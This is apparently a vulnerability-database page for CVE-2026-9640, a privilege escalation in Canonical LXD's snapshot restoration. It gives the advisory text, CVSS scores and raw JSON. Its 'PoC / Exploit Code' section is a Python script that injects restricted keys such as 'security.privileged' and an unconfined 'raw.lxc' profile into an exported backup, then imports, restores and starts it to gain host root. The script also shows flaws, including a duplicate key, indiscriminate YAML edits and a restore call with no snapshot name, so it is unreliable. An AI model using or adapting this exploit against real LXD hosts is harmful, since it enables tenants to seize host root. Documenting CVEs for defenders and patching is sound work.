Security Vulnerability Report
中文
CVE-2026-9640 CVSS 7.2 HIGH

CVE-2026-9640

Published: 2026-06-26 16:16:37
Last Modified: 2026-06-27 05:16:47

Description

A privilege escalation vulnerability exists in LXD from 6.0 before 6.9, 5.21.0 before 5.21.5, and 5.0.0 before 5.0.7 regarding the handling of project-restriction policies during snapshot restoration.. An authenticated project operator in a restricted multi-tenant environment can bypass policy restrictions by importing a maliciously crafted instance backup containing restricted configuration keys within a snapshot. When the snapshot is restored, these restricted keys are applied to the live instance without policy validation. Starting the modified instance grants the operator unauthorized host root access.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Canonical LXD >= 6.0, < 6.9
Canonical LXD >= 5.21.0, < 5.21.5
Canonical LXD >= 5.0.0, < 5.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9640 LXD Privilege Escalation via Snapshot Restoration PoC # This PoC demonstrates how a project operator can bypass project-restriction policies # by importing a crafted instance backup containing restricted configuration keys. import subprocess import json import tempfile import os import tarfile import yaml def create_malicious_backup(instance_name, restricted_keys): """ Create a malicious LXD instance backup with restricted configuration keys embedded in the snapshot data to bypass project-restriction policies. """ # Step 1: Create a temporary working directory work_dir = tempfile.mkdtemp(prefix="lxd_exploit_") backup_dir = os.path.join(work_dir, "backup") os.makedirs(backup_dir, exist_ok=True) # Step 2: Create a legitimate instance first subprocess.run(["lxc", "launch", "ubuntu:22.04", instance_name], check=True) subprocess.run(["lxc", "stop", instance_name], check=True) # Step 3: Export the instance to a backup file backup_file = os.path.join(work_dir, f"{instance_name}.tar.gz") subprocess.run(["lxc", "export", instance_name, backup_file], check=True) # Step 4: Extract the backup and inject restricted configuration keys extract_dir = os.path.join(work_dir, "extracted") os.makedirs(extract_dir, exist_ok=True) with tarfile.open(backup_file, "r:gz") as tar: tar.extractall(path=extract_dir) # Step 5: Locate and modify the snapshot configuration files for root, dirs, files in os.walk(extract_dir): for file in files: if file == "backup.yaml" or file.endswith(".yaml"): config_path = os.path.join(root, file) with open(config_path, "r") as f: config = yaml.safe_load(f) if config and isinstance(config, dict): # Inject restricted configuration keys into the snapshot if "config" not in config: config["config"] = {} for key, value in restricted_keys.items(): config["config"][key] = value with open(config_path, "w") as f: yaml.dump(config, f) # Step 6: Repack the modified backup malicious_backup = os.path.join(work_dir, f"{instance_name}_malicious.tar.gz") with tarfile.open(malicious_backup, "w:gz") as tar: tar.add(extract_dir, arcname=".") # Clean up the original instance subprocess.run(["lxc", "delete", instance_name, "--force"], check=True) return malicious_backup def exploit_snapshot_restore(backup_file, new_instance_name): """ Import the malicious backup and restore the snapshot to trigger the privilege escalation. """ # Step 7: Import the malicious backup - restricted keys bypass policy validation subprocess.run(["lxc", "import", backup_file, new_instance_name], check=True) # Step 8: Restore the snapshot containing restricted configuration subprocess.run(["lxc", "restore", new_instance_name], check=True) # Step 9: Start the instance - restricted keys are applied, granting host root subprocess.run(["lxc", "start", new_instance_name], check=True) print(f"[+] Instance {new_instance_name} started with elevated privileges") print("[+] Restricted configuration keys have been applied without policy validation") def main(): # Define restricted configuration keys to inject (examples) # These keys are typically blocked by project-restriction policies restricted_keys = { "security.privileged": "true", "security.nesting": "true", "raw.lxc": "lxc.apparmor.profile=unconfined\nlxc.cgroup.devices.allow=a", "security.protection.delete": "false", "security.privileged": "true" } instance_name = "exploit_instance" new_instance_name = "exploit_restored" print("[*] CVE-2026-9640 LXD Privilege Escalation PoC") print("[*] Creating malicious instance backup with restricted config keys...") malicious_backup = create_malicious_backup(instance_name, restricted_keys) print(f"[*] Malicious backup created: {malicious_backup}") print("[*] Importing and restoring snapshot to bypass policy restrictions...") exploit_snapshot_restore(malicious_backup, new_instance_name) print("[!] Exploit complete - check for host root access") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9640", "sourceIdentifier": "[email protected]", "published": "2026-06-26T16:16:37.250", "lastModified": "2026-06-27T05:16:47.377", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A privilege escalation vulnerability exists in LXD from 6.0 before 6.9, 5.21.0 before 5.21.5, and 5.0.0 before 5.0.7 regarding the handling of project-restriction policies during snapshot restoration.. An authenticated project operator in a restricted multi-tenant environment can bypass policy restrictions by importing a maliciously crafted instance backup containing restricted configuration keys within a snapshot. When the snapshot is restored, these restricted keys are applied to the live instance without policy validation. Starting the modified instance grants the operator unauthorized host root access."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Canonical", "product": "LXD", "defaultStatus": "unaffected", "packageName": "LXD", "platforms": ["Linux"], "repo": "https://github.com/canonical/lxd", "versions": [{"version": "5.21.0", "lessThan": "5.21.5", "versionType": "semver", "status": "affected"}, {"version": "5.0.0", "lessThan": "5.0.7", "versionType": "semver", "status": "affected"}, {"version": "6.0", "lessThan": "6.9", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-26T00:00:00+00:00", "id": "CVE-2026-9640", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/canonical/lxd/pull/18301", "source": "[email protected]"}, {"url": "https://github.com/canonical/lxd/pull/18303", "source": "[email protected]"}, {"url": "https://github.com/canonical/lxd/pull/18304", "source": "[email protected]"}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-ppq7-4492-5552", "source": "[email protected]"}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-ppq7-4492-5552", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}